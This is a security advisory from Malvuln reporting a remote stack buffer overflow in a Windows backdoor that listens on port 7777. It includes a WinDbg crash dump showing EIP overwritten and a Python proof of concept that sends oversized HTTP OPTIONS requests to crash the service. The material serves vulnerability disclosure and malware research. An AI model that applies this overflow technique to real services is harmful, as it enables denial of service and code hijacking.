Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/3f82e6ddc9f5242f5af200d2fbae4ce4.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Levelone.b Vulnerability: Remote Stack Buffer Overflow Description: The backdoor listens on Port 7777, sending two large consecutive HTTP OPTIONS requests trigger the buffer overflow overwriting EIP. Type: PE32 MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4 Vuln ID: MVID-2021-0021 Dropped files: Vector64.exe Network Access: Remote ASLR: False DEP: False Safe SEH: True Disclosure: 01/10/2021 Memory Dump: This dump file has an exception of interest stored in it. The stored exception information can be accessed via .ecxr. (b9c.1424): Access violation - code c0000005 (first/second chance not available) eax=000a13a4 ebx=0019ff70 ecx=0040109a edx=773e9d70 esi=ffffffff edi=0040801c eip=41414141 esp=000a1388 ebp=000a13ac iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? FAULTING_IP: +d0cf3c0 41414141 ?? ??? EXCEPTION_RECORD: 0019f7f0 -- (.exr 0x19f7f0) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: Vector64.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +d0cf3c0 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +d0cf3c0 41414141 ?? ??? MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at \bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f840 -- (.cxr 0x19f840) eax=0040a371 ebx=0040513c ecx=b3be0a93 edx=0019fbd4 esi=00005231 edi=00005235 eip=41414141 esp=0019fca0 ebp=0019fcc4 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 41414141 ?? ??? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 00402a5b to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 0019fca0 41414141 unknown!printable+0x0 0019fca4 00402a5b vector64+0x2a5b 0019fccc 00402452 vector64+0x2452 0019fd14 0040253b vector64+0x253b 0019ff34 00402961 vector64+0x2961 0019ff3c 00401222 vector64+0x1222 0019ff88 76e38654 kernel32!BaseThreadInitThunk+0x24 0019ff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f 0019ffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 000000000019F840 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fca0 ; kb POSSIBLE_INVALID_CONTROL_TRANSFER: from 00402a56 to 00403800 FOLLOWUP_NAME: MachineOwner MODULE_NAME: hardware IMAGE_NAME: hardware DEBUG_FLR_IMAGE_TIMESTAMP: 0 BUCKET_ID: CPU_CALL_ERROR FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_hardware!Unknown Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=7777 sz = 20000 c=1 def doit(): global c, sz while True: s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.settimeout(0.3) sz += 1000 JUNK="A"*sz PAYLOAD="OPTIONS /"+JUNK+" HTTP/1.0\r\nHost: "+MALWARE_HOST+"\r\n\r\n" s.send(PAYLOAD) print(sz) s.close() time.sleep(0.2) c+=1 if c==3: print("Backdoor.Win32.Levelone.b / Remote Stack Buffer Overflow") print("MD5: 3f82e6ddc9f5242f5af200d2fbae4ce4") print("By Malvuln") break if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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